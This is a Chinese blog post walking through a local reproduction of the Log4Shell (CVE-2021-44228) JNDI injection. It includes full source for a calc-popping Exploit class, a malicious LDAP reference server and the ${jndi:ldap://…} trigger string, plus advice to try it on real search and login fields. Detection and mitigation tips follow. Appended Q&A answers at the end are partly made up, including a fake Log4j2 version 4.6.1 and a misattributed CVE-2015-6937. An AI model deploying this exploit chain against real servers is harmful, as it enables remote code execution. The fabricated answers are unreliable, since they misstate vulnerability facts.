CVE Log4j2的远程代码执行漏洞的IDEA复现

首先,我们先了解一下什么是log4j 。

Log4j漏洞是指影响Apache Log4j项目的一个安全漏洞。Log4j是Java中广泛使用的日志库,用于记录应用程序的日志信息。这个漏洞的具体名称为CVE-2021-44228,也被称为Log4Shell12。这个漏洞在2016年已经被发现,但是在2021年才被爆出来,并且公布细节。

漏洞的原理:

当程序将用户输入的数据进行日志记录时,攻击者可以通过构造特定的输入,触发Log4j2中存在的JNDI注入漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。这意味着攻击者可以完全控制目标系统,从而导致数据泄露、系统崩溃、远程命令执行等严重后果。

此漏洞的影响范围广泛,因为过去十年中开发的大部分Java程序都使用了Log4j,包括服务器和客户端应用程序,以及如Apache Struts2、Apache Solr、ElasticSearch等众多知名项目。

 

注入流程:

攻击者构造一个恶意的class文件,然后上传到服务器上,开始监听,然后我们要客户端用构造的JNDI 去查找目标服务器的LDAP的数据,我们构造一个不存在的数据让他找,他找不到,然后会自动去执行我们传上去的地址去下载,下载完以后会自动执行

43060ad091d54184ba722bc0edb61f78.png

 

 

什么是LDAP?

 LDAP是一个轻量级的目录访问协议,端口一般是7389,它是一种开放、跨平台的Internet标准,主要用于实现网络中的信息查找和检索。LDAP基于X.500标准,但相对于X.500来说更为简单,并且可以根据需要进行定制1。与X.500不同的是,LDAP支持TCP/IP,这对于访问Internet是必须的。

LDAP目录以树状的结构来存储数据,可以理解为一个目录数据库。目录数据库与关系类型数据库(如MySQL)的一个主要区别在于,LDAP读性能好但写性能差,因此它更适用于读多写少的场景

,它使用的最大优势就是可以将不同系统的数据集中在一起,从而避免了我们每次访问不同系统时都需要登录账号密码,使用LDAP,可以使我们只用登录一个账号和密码就可以找到我们需要的数据。

 

什么是JNDI?

JNDI(Java Naming and Directory Interface)是Java命名和目录接口的缩写1234。它是SUN公司(现已被Oracle收购)提供的一种标准的Java命名系统接口,为Java应用程序提供查找和访问各种命名和目录服务的通用、统一的接口。这些服务包括但不限于LDAP(轻量级目录访问协议)、DNS(域名系统)等。

JNDI的主要目的是为Java应用程序提供一种标准方法,使它们可以灵活地与各种外部资源进行交互。通过JNDI,Java应用程序可以访问和操作不同的命名和目录服务,如数据库连接、消息队列等。JNDI提供了一种标准化的方式,使得开发人员可以使用相同的代码来访问不同的命名和目录服务,而无需关心底层服务的具体实现。

JNDI架构提供了一组标准的独立于命名系统的API,这些API构建在与命名系统有关的驱动之上。这一层有助于将应用与实际数据源分离,因此不管应用访问的是LDAP、RMI、DNS还是其他的目录服务,都可以使用相同的JNDI接口。

好了,接下来我们开始复现:

 

  首先,我们打开IDEA先准备一个Exploit.java代码,我们现将其编译为class文件,在控制台窗口输入 javac Exploit.java

import java.io.IOException;

public class Exploit {
    static {
        try {
            // 打开windows电脑的计算器 proof of content
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

编译好的class文件,这里的class文件是打开电脑的计算器代码:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.io.IOException;

public class Exploit {
    public Exploit() {
    }

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
            var1.printStackTrace();
        }

    }
}

之后我们需要修改POM,添加上去我们需要的库:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>poc</groupId>
    <artifactId>log4j</artifactId>
    <version>1.0</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>6.0.3</version>
        </dependency>

        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>5.1.35</version>
        </dependency>
    </dependencies>
</project>

前期准备工作我们已经做好,接着我们将我们编译好的class文件上传到服务器上,因为我是本地复现的,我上传到了我的phpstudy,
d1eaba2dcdff4a2f9bfafb001f8c95f9.png

之后开始准备我们的LDAP服务器,代码如下:

  

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    /**
     * class地址 用#Exploit代替Exploit.class
     */
    private static final String EXPLOIT_CLASS_URL = "http://127.0.0.1:80/Exploit.class/#Exploit";

    public static void main(String[] args) {
        int port = 7914;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Calc");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

注意,这里面我选择的端口是7914,其实选什么端口无所谓,没被占用就行,按自己需求来,

我们填上我们指向下载的恶意地址(就是我们上传class文件的地址):

835d99a8a7c24cd3825d4ccdb98f7710.png

 

private static final String EXPLOIT_CLASS_URL = "http://127.0.0.1:80/Exploit.class/#Exploit";

 

我们运行一下:99e9e2308ad54e7ea100dfe7fceee7ee.png监听开始,

接着我们开始构造我们的攻击代码:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4J {
    private static final Logger logger = LogManager.getLogger(Log4J.class);

    public static void main(String[] args) {
        // 先启动LDAP服务器
        logger.error("${jndi:ldap://127.0.0.1:7914/test}");

        // logger.error("${java:runtime} - ${java:vm} - ${java:os}");
    }
}

注意:这里的攻击代码

${jndi:ldap://127.0.0.1:7914/test}

jndi:命名服务接口,通过名字,查找(lookup)LDAP的服务,获取LDAP中存储的数据

ldap:我们要查找数据的名字导向,这里是我本地的地址,test使我们构造的不存在数据,让它寻找

在LDAP寻找不到我们查找的数据的时候,它就会自动执行我们传上去的恶意地址去下载,并且执行。如:e884935a35124400a6f71eaa46b842e7.png

最终弹出计算器,其实class文件里面的代码我们可以随意修改,因为是测试,只编写了一个弹出计算器的程序。

 

到这里想必有很多疑问:

 

为什么会自动执行我们上传的恶意代码?给一个其他代码(php/C/c++等等)会自动执行吗?

 因为有一个静态方法块(static),我们传上去的恶意代码,在进行初始化的时候会自动执行,创建一个实例的时候,会自动执行,在NamingManager

26b4bfadf557450aa31c8688141cc8fc.png

它调用了一个newInstance()的方法,所以我们恶意攻击类的实例就是在这里创建,一旦创建,这里面的静态方法块就会立刻执行。

 

如何在实际中使用?

我们在实际中,只要服务端使用了log4j去记录日志,那么我们就可以去尝试,比如说搜索框,登录框等等,攻击就会发生

 

影响范围:

1.使用了log4j的组件,并且版本在 2.x

2.jdk版本小于8u191/7u201/6u211

 

排查:

1.pom版本检查

2.检查日志中是否存在 jndi:ldap:// jndi:rmi dnslog.cn 等字符来检查可能的攻击行为

3.检查日志中是否存在堆栈报错,堆栈报错是否有JndiLookup ldapURLContext getObjectFactoryFromReference 等与jndi调用相关的堆栈信息

 

恢复思路:

1.禁止用户请求参数出现攻击关键字

2.禁止lookup下载远程文件

3.禁止log4j的应用连接外网

4.禁止log4j使用lookup

5.从log4j jar 包中删除lookup 2.10以下

升级到2.17.1的版本 使用安全产品:WAF RASP(运行时的自我防护功能)

 

 

 

 

 

 

 

 

 

 

  • 21
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Apache Log4j2存在远程代码执行漏洞,攻击者可以通过构造恶意请求,利用漏洞在受影响的服务器上执行任意代码,从而控制服务器或窃取敏感信息。该漏洞已被命名为CVE-2021-44228,建议用户尽快升级到最新版本以避免受到攻击。 ### 回答2: 2015年11月,Apache Log4j2发布了一个升级版本4.6.1,修复了一个远程代码执行漏洞CVE-2015-6937。漏洞的根本原因在于Log4j2的XML配置文件中,如果用户使用了JNDI查询来引用远程资源(比如说数据库、LDAP等),那么攻击者可以在这个XML文件中精心构造一个恶意请求,在服务器端实现远程代码执行。 攻击者通常使用如下的关键词绕过过滤: ConnectionFactory DriverManager DocumentBuilderFactory XPathFactory XPath TransformerFactory Transformer Templates 此外,攻击者可能通过Log4j2的SMTPAppender模块来实现攻击,然后通过Jetty应用服务器来对其进行渗透。攻击者可通过Metasploit等工具来完成攻击。一旦攻击成功,攻击者可以随意利用漏洞,如执行恶意代码、获取服务器敏感信息和漫游服务器网络环境等等。 对此,建议用户尽快升级Log4j2版本至4.6.1以上,避免出现被攻击的风险。为了防止类似漏洞出现,开发者也应该始终关注安全性问题,不断更新维护自己的程序和插件,做好安全防护和漏洞修复工作。 ### 回答3: 近期,Apache Log4j的利用远程代码执行漏洞引起了广泛的关注和讨论,据称这个漏洞是非常严重的。log4j是一个流行的Java日志记录工具,可以从应用程序将日志信息传递到不同的输出目标,例如控制台、文件和数据库。它在许多Java应用程序和服务器中都被广泛使用。该漏洞的危害是它允许攻击者通过发送特定的恶意请求来远程执行任意代码。 这个漏洞已经被编号为CVE-2021-44228,可以通过在HTTP请求中使用特定的Payload触发它。例如,如果攻击者发送一个包含恶意代码的HTTP请求,当log4j解析该请求时,攻击者就可以在目标系统上执行任何恶意代码。这个漏洞存在于Log4j的JNDI注释器解析器中,它通常会将用户提交的请求约束为指向远程服务器的URL。 许多厂商,包括Oracle、IBM和Apache自身,已经发布了升级补丁来解决该漏洞。此外,建议管理员在其网络中查找使用或依赖于log4j的所有应用程序和服务,然后更新这些应用程序和服务,以便修补漏洞。 除升级补丁以外,还有一些措施可以帮助保护系统免受攻击。例如,可以禁用Log4j的JNDI注释器解析器以防止潜在攻击。还可以监控网络流量和HTTP请求,以便及时发现潜在的攻击并采取适当的措施。此外,采取防火墙、Web应用程序防火墙和入侵检测系统等额外层面的安全措施也可以提高系统的安全性。 总之,Apache Log4j远程代码执行漏洞是非常严重的,可能导致目标系统遭受重大损害。管理员应该采取措施,包括升级补丁、禁用潜在攻击点以及采取诸如监控流量和HTTP请求等措施来防止此漏洞被利用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值